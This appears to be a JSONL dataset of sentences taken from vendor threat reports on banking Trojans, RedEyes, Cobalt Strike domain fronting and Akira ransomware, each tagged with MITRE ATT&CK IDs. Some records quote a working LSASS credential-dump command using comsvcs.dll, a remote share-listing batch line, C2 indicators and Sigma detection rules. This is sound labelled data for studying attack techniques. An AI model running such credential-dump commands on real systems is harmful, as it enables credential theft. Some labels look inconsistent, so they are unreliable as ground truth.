{"sentence": "The injected process then calls NtSetContextThread, which invokes a return-oriented programming (ROP) chain that allocates execute/read/write (RWX) memory.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The unique idea behind AtomBombing is the write-primitive, which allows writing to the remote process using atom tables and APC.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Dridex uses a variation of AtomBombing that queues an APC to call memset to clean an RW region in ntdll.dll.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Then, it copies the payload and its import table into the target process using the same write technique into the ntdll.dll RW region.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For the execution, Dridex modifies the copied payload memory into executable memory using NtProtectVirtualMemory.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Then it hooks GlobalGetAtomA by calling NtProtectVirtualMemory and by using the same write primitive.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Finally, it queues an APC into the patched GlobalGetAtomA to get the payload running. Figure 14.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Prevent AtomBombing and its Variants", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "These techniques can be prevented by inspecting whether the arguments provided to NtQueueApcThread/NtSetContextThread calls point to a suspicious API – the APC routine argument in the case of NtQueueApcThread, or the new instruction pointer in the context argument in the case of NtSetContextThread.", "labels": ["T1055", "T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Conclusion Threat actors who are in it for the money use a wide range of malware techniques for injection and financial fraud, and they are always looking for new ways to develop evasive techniques.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "We have explored some of the more interesting banking Trojan techniques and how they’re used to steal victims’ sensitive data.", "labels": ["T1005"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Palo Alto Networks customers also receive protections against the attacks discussed here through the WildFire cloud-delivered security subscription for the Next-Generation Firewall. Indicators of Compromise Trickbot testnewinj32Dll.dll:", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "AhnLab Security Emergency response Center (ASEC) has confirmed the distribution of malware disguised as Hancom Office document files.", "labels": ["T1036.005"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The malware that is being distributed is named “Who and What Threatens the World (Column).exe” and is designed to deceive users by using an icon that is similar to that of Hancom Office.", "labels": ["T1036.005"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Decompressing the compressed file reveals a relatively large file with a size of 36,466,238 bytes.", "labels": ["T1027", "T1140"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "AhnLab Endpoint Detection and Response (EDR) is capable of detecting such attack techniques through its trace data, and it allows users to check the data required to investigate the related breach case.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Execution flow diagram Figure 1 depicts the icon of the malware and its overall execution.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "It provides a visual representation of which processes are used when the malware is executed. Figure 2.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "File trace data of malware creation Figure 3.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Primary trace data of malware Figures 2 and 3 show the trace data of key behaviors within the overall flow of the malware.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "In Figure 2, a trace can be observed of the malware creating a folder named onedrivenew in the AppData directory and self-copying itself with the filename onedrivenew.exe to appear as a normal file.", "labels": ["T1036.005"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "In Figure 3, a trace can be seen of the malware creating and executing a normal Hancom Office file with the same filename as the malware within the same directory where the malware was executed.", "labels": ["T1036.005"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The original file is deleted using the cmd command.", "labels": ["T1070.004"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Trace data of the normal Windows process, mstsc.exe Figure 4 displays the trace data of mstsc.exe being executed after being injected with malware.", "labels": ["T1055"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The malware registers its file with the name onedrivenew under the Run key in order to make it run after the system is rebooted.", "labels": ["T1112", "T1547.001"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Afterward, it uses the schtasks.exe command to register the file to the task scheduler with the name OneDriveOp to connect to a certain URL every 60 minutes using the normal Windows file mshta.exe.", "labels": ["T1036.005", "T1053.005", "T1071.001"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The URL registered in the task scheduler appears to be a normal homepage, but it contains a web shell.", "labels": ["T1036.005", "T1053.005"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The inserted web shell has been confirmed to be similar to the one posted in “Targeted Attack on a Website Developed by a Specific Web Design Company (Red Eyes and APT37)” on the AhnLab Threat Intelligence Platform.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "When it comes to targeted attacks, there are factors that general users may struggle to deal with.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "Even if users find themselves exposed to such threats, AhnLab EDR can provide trace data for appropriate responses.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "(2023.05.24.02)", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "[IOC]MD5 – 93fc0fb9b87a00b38f18c1cc4ee02e50 C2 – hxxp://ingarchi.com/bbs/data/culture– hxxp://ingarchi.com/bbs/data/culture/getcfg.php AhnLab EDR protects the endpoint environment by delivering behavioral detection, advanced analysis, holistic visibility, and proactive threat hunting.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "For more information about the product, please visit our official website.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "The post Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed (RedEyes) appeared first on ASEC BLOG.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"}
{"sentence": "News Summary Cisco Talos discovered a new malicious campaign using a leaked version of Cobalt Strike in September 2021.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The threat actor in this case uses domain fronting with the Cloudflare Content Delivery Network, redirecting a Myanmar government owned-domain to an attacker-controlled server.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The threat actor employed the tactic of re-registering reputed domains in their attack chains to evade detections.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "This threat demonstrates several techniques of the MITRE ATT&CK framework, most notably T1202 - Indirect Command Execution , T1027 - Obfuscated Files or Information, T1105 - Ingress Tool Transfer, T1071.001 - Application Layer Protocols:Web Protocols.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "What's New? Cisco Talos discovered a malicious campaign using an obfuscated Meterpreter stager to deploy Cobalt Strike beacons in September 2021.", "labels": ["T1027"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The actor used a domain owned and operated by the Myanmar government, the Myanmar Digital News network, as a domain front for their beacons.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The evolution of this threat indicates that the attackers have been active since at least August 2021 using a combination of Meterpreter stagers and Cobalt Strike beacons to establish presence on victim's endpoints.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "How did it work?", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The malware is typically a loader that runs on a victim machine, decodes and executes the Cobalt Strike beacon DLL via reflective injection.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The configuration file contains the information related to the command and control (C2) server which instructs the victim's machine to send the initial DNS request attempting to connect to the host of the Myanmar government-owned domain www[.]mdn[.]gov[.]mm.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The site is hosted behind the Cloudflare content delivery network and the actual C2 traffic is redirected to an attacker controlled server test[.]softlemon[.]net based on the HTTP host header information specified in the beacon's configuration data.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "So what?", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Attackers use it to deploy a wide range of payloads, from commodity malware, to sophisticated state-sponsored activities.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cobalt Strike allows actors to shape the traffic of beacons to mimic legitimate traffic patterns.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Domain fronting uses legitimate or high-reputation domains to remain undetected by defenders.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "In this campaign, the actor used staged payloads using the Meterpreter stager, which gives an indication that the beacon will be used for further attacks.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Evolution of the campaign A study of the evolution of the campaign shows the actor experimenting with different combinations of hosts with the intent of perfecting the domain fronting technique.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The earliest beacon discovered around the middle of August 2021 contains the C2 URI set to test[.]softlemon[.]net while the HTTP Get and Post requests headers are pointing to dark-forest-002[.]president[.]workers[.]dev which is a Cloudflare serverless workers domain.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The default host header configuration for request contains the host name test[.]softlemon[.]net, which is also used by more recent samples.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Beginning September 2021, the attackers started using the Myanmar Digital News domain for fronting their beacons.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "While the default C2 domain was specified as www[.]mdn[.]gov[.]mm, the beacon's traffic was redirected to the de-facto C2 test[.]softlemon[.]net via HTTP Get and POST metadata specified in the beacon's configuration.", "labels": ["T1071.001"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The actor likely changed the configuration to test their infrastructure and the domain fronting functionality before launching the attack.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Based on the beacon configuration template and the real C2 host test[.]softlemon[.]net, we assess with moderate confidence that the samples are created by a single actor.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cobalt Strike beacon configurations", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Watermark The Cobalt Strike watermark is a number generated from the license file and is unique to a Cobalt Strike license.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The watermark on the beacons used in this campaign was 305419896 (hex: 0x12345678).", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "This particular watermark has previously been attributed to a leaked Cobalt Strike version and is unsurprisingly used by other malicious actors, such as Maze ransomware and Trickbot groups, making attribution based on the watermark number impossible.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "It is difficult to assess if the usage of the previously registered expired domain for C2 server and the leaked Cobalt Strike point to an increased operational security awareness of the actor or to limited resources available to them.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "A government domain of Myanmar www[.]mdn[.]gov[.]mm was used in this particular instance.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The fronted domain mdn[.]gov[.]mm is a legitimate domain of Myanmar Digital News, a state-owned digital newspaper.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cloudflare is one of the CDN services that provides its users with a globally distributed cache for files hosted on their servers.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The beacon traffic resolves to a Cloudflare IP address.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cobalt Strike payload The beacons are of particular interest due to the domain fronting technique using a government host as the initial DNS lure.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The MITRE ATT&CK framework techniques used by this malware are: T1202 - Indirect Command Execution T1027 - Obfuscated Files or Information T1105 - Ingress Tool Transfer T1071.001 - Application Layer Protocols:Web Protocols", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "We also analysed the loader binary to find specifics of its memory loading and functionality.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "We spotted a suspicious section .kxrt with the packed and encoded malicious code.", "labels": ["T1027"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The malware links several functions at runtime and has the Meterpreter staging code.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "When the malware runs, the .tls section runs first, loads the libraries and starts the execution of the malicious code at the entry point in the .kxrt section.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The entry point code calls a function to allocate virtual memory in its own process space. Function at address 00401550 shows the allocation of virtual memory.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The loader next calls the VirtualProtect function to set the virtual memory page permissions to Read-Write-Execute and writes the image base of the Cobalt Strike beacon which will be executed in a new thread.", "labels": ["T1106"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Function sets the virtual memory page permission to Read-Write-Execute.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "We spotted two libraries linking during runtime.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Function that loads library during the runtime.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Decoder routine to decrypt the beacon DLL.", "labels": ["T1140"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The decrypted malicious code is the actual Cobalt Strike beacon.", "labels": ["T1140"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Once decoded, the loader's execution jumps to the beginning of the DLL resulting in a reflective-load of the beacon into the loader process memory.", "labels": ["T1140"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "This beacon is now responsible for decoding the configuration.", "labels": ["T1140"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Stack view of info loaded from the beacon config.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Function that resolves the victim's system proxy for the URL.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The DNS request for the initial host resolves to a Cloudflare-owned IP address that allows the attacker to employ domain fronting and send the traffic to the actual C2 host test[.]softlemon[.]net, also proxied by Cloudflare.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "At the time of analysis, the sample C2 host infrastructure was not online and we received a 404 error.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cobalt Strike beacon traffic.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The beacon contains techniques to detect debuggers using GetTickCount, IsDebuggerPresent and the NtDelayExecution call to delay the execution of the malware for evading sandbox-based dynamic analysis systems.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The beacon can also manage the system power policies registry keys to set the minimum and maximum sleep times and the lid open and close action policy.", "labels": ["T1112"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The beacon modifies the victim's system power and lid open/close policies in the registry.", "labels": ["T1112"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Command and control The C2 server - test[.]softlemon[.]net is the subdomain of softlemon[.]net.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The domain softlemon[.]net was registered under Google domains until August 2019 and likely expired since then.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The malicious actor re-registered this domain on Aug. 5, 2021.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The Talos reputation engine has classified it as an untrusted domain and Cisco Umbrella shows a spike in the DNS queries in September 2021.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "This activity is consistent with the evolution of the Cobalt Strike beacons illustrated earlier the attackers started instrumenting beacons fronted with the Digital News domain at the beginning of September.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "DNS spike for test[.]softlemon[.]net queries vs dates.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Our research uncovered that the C2 test[.]softlemon[.]net is a Windows server running Internet Information Services (IIS).", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "IIS service response rendered from the host test[.]softlemon[.]net.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "In this campaign, a malicious Cobalt Strike beacon is configured to take advantage of a mechanism used by Cloudflare and other content distribution networks to instruct the proxy about the host to be used for serving the content.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "When the beacon is launched, it will submit a DNS request for a legitimate high-reputation domain hosted behind Cloudflare infrastructure and modify the subsequent HTTPs requests header to instruct the CDN to direct the traffic to an attacker-controlled host.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Defenders should monitor their network traffic even to high reputation domains in order to identify the potential domain fronting attacks with Cobalt Strike and other offensive tools.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "XDR tools should be deployed to endpoints in order to detect behavior of Cobalt Strike loaders and Meterpreter stagers as they are frequently used by a wide range of actors.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Cisco Secure Malware Analytics (formerly Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "The following ClamAV signatures have been released to detect this threat: Win.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "CobaltStrike-9909816-0 Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. IOCs Hashes 658d550322cefa6efc51fbfd1a3e02839d1e519a20f8f17f01c534c0eaf36f27 e806e55713b9e46dc7896521ffb9a8b3abaa597147ea387ff2e93a2469546ba9 a0aec3e9cb3572a71c59144e9088d190b4978056c5c72d07cb458480213f2964 Network IOCs Hosts test[.]softlemon[.]net dark-forest-002.president[.]workers[.]dev IP addresses 193[.]135[.]134[.]124 URLs hxxp://test[.]softlemon[.]net:8081/api/3 hxxp://test[.]softlemon[.]net/ tcp://test[.]softlemon[.]net:8080/ hxxps://193[.]135[.]134[.]124:8443 hxxp://193[.]135[.]134[.]124:8080 hxxp://193[.]135[.]134[.]124:8081", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "On April 6, 2023, the Sophos Incident Response team was engaged to support a ransomware victim organization in North America.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "The following week on April 12, 2023, yet another North American organization contacted Sophos for assistance.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "While the incidents appeared to be the work of two different criminal actors, both deployed a recently emerged ransomware called Akira.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "The new jQuery-based leak site (Figure 2), with its retro green colors, has garnered most of the attention, as it accepts commands instead of listing out information.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "However, cool as their leak site design may be, this matters none to victims of this ransomware, which regrettably includes a daycare service in Canada.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "While the total number of victim organizations (Figure 3) are still relatively small in comparison to Lockbit or BlackCat/APLHV, that is how all new ransomware families begin.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Figure 3: Timeline analysis of Akira victims In this blog post, we will compare two separate incident attack flows, illustrating how different threat actors are deploying Akira ransomware.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Please note that available data on the second incident is limited, but we are highlighting deviations between the two incidents.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Attack Flow Details Initial Access Incident #1 A user account purposedly configured to allow for Multi-Factor Authentication (MFA) bypass.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1078 – Valid Accounts]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Incident #2 VPN access using Single Factor authentication.", "labels": ["T1078"], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1133 – External Remote Service] Guidance Replacing password-only authentication with MFA remains one of the highest return-on-investment (ROI) security controls, however special attention must be given to auditing for any accounts with bypass exceptions.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Also, its recommended that organizations block any inbound traffic from TOR networks where perimeter controls are available.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1003.001 – OS Credential Dumping:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1569 – System Services] Service Name: TcwvBcuf Action: %COMSPEC% /Q /c", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "/c for /f \"\"tokens=1,2 delims= \"\" ^%A in ('\"\"tasklist /fi \"\"Imagename eq lsass.exe\"\" | find \"\"lsass\"\"\"\"') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, #+0000^24 ^%B \\Windows\\Temp\\FP4.docx full\" The use of a .docx extension is not as common as .dmp or .txt", "labels": ["T1218.011"], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1569 – System Services] [4656 / 0x1230] Source Name: Microsoft-Windows-Security-Auditing Strings:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "['S-1-5-18’ ‘<Redacted>$' ' Redacted>' '0x00000000000003e7' 'Security' 'Process' '\\Device\\HarddiskVolume3\\Windows\\System32\\lsass.exe' '0x0000000000000524' '{00000000-0000-0000-0000-000000000000}' '%%", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "This is also a great candidate for a repeatable hunt, using a structured method to look for variations in the pre- and post-dumping activity that may have bypassed your existing detections.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Listed below is a Sigma rule that can be used by defenders to detect or hunt on the credential access technique used above.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "In addition, the Minidump function can be called using #24 rather than its name.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "author: Sophos MDR logsource: category: process_creation product: windows detection: selection: process_name|wildcard: - sc.exe - cmd.exe - powershell.exe command_line_filter: command_line|re: .*comsvcs.*(minidump|#24).", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "* condition: selection AND command_line_filter falsepositives: - Penetration testing level: high tags: - attack.credential access #TA0006 - attack.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "T1003.001 Discovery Incident #1 Conducting discovery indirectly via schedule tasks named “Windows Update” performing remote directory listings.", "labels": ["T1053.005", "T1083"], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1083 – File and Directory Discovery]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1053.005 – Scheduled Task/Job: Scheduled Task] C:\\>type c:\\programdata\\HP\\ms.bat dir \"\"\\\\10.1.100.64\\c$\\ProgramData\"\" >> C:\\programdata\\HP\\svr_dir.txtt\" Leveraging a dual-use tool, PCHunter64, to acquire detailed process and system information.", "labels": ["T1082"], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1105 – Ingress Tool Transfer] URL: :2023040620230407:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "administrator@https://www.google[.]com/url?esrc=s&q=&rct=j&sa=U&url=https://m.majorgeeks[.]com/files/details/pc_hunter.html Access count: 1 URL: Visited: administrator@hXXps://temp[.]sh/PewtN/PCHunter64.exe Access count: 9 The threat actor initially searched online for the tool before staging it for future downloads using a public cloud hosting service.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1018 – Remote System Discovery] Prefetch [ADVANCED_IP_SCANNER_2.5.4594.] was executed - run count 2 hash:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[serial number: 0x22E2CC6E device path: \\VOLUME{01d89216e27acb2f-22e2cc6e}] Employing an existing IT tool, LANSweeper, to access detailed network and system information.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "[T1087 - Account Discovery: Domain Account] Visited: <redacted>@file:///C:/ProgramData/AdComputers.csv Visited: <redacted>@file:///C:/ProgramData/AdSubnets.csv Visited: <redacted>@file:///C:/ProgramData/AdOUs.csv Visited: <redacted>@file:///C:/ProgramData/AdUsers.csv URL F[:]/IT/Backups/Database/LANSweeper%20SQL+Key/Encryption.txt The threat actor accessed the decryption key to facilitate gaining reconnaissance information without doing any noisy discovery scanning.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Guidance Understanding the intention of a dual-use tool being executed is challenging; however, it’s best practice to document which tools are approved for corporate use and block all others by default until they can be reviewed.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "This has the added benefit of reducing shadow IT risk as well.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "Additionally, just like high value business data, access to both the tool and the output of vulnerability scanners and asset discovery applications should be restricted and audited.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "We have also included an example Sigma detection rule for the activity shown in incident #1. title: Listing Directories of Remote Hosts description: Threat actors can use windows binaries and commands to discover interesting to them directories on remote hosts and redirect the output to a file on disc for later consumption.", "labels": ["T1059.003", "T1083"], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "author: Sophos MDR logsource: category: process_creation product: windows detection: selection: Image|endswith: - 'cmd.exe' - 'powershell.exe' CommandLine|contains: - 'dir *\\\\*\\c$\\*>>' - 'ls *\\\\*\\c$\\*>>' filter:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "ParentImage|endswith: - 'java.exe' condition: selection and not filter falsepositives: - Possible from admin activity level: high tags: - attack.discovery #TA0007 - attack.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"}
{"sentence": "T1083 Lateral Movement Incident #1 There were no network restrictions on Remote Desktop Protocol (RDP), and the threat actor was able to move freely across the network; as a result, this activity was captured by multiple event types.", "labels": ["T1021.001"], "doc_title": "Akira Ransomware is bringin 1988 back"}
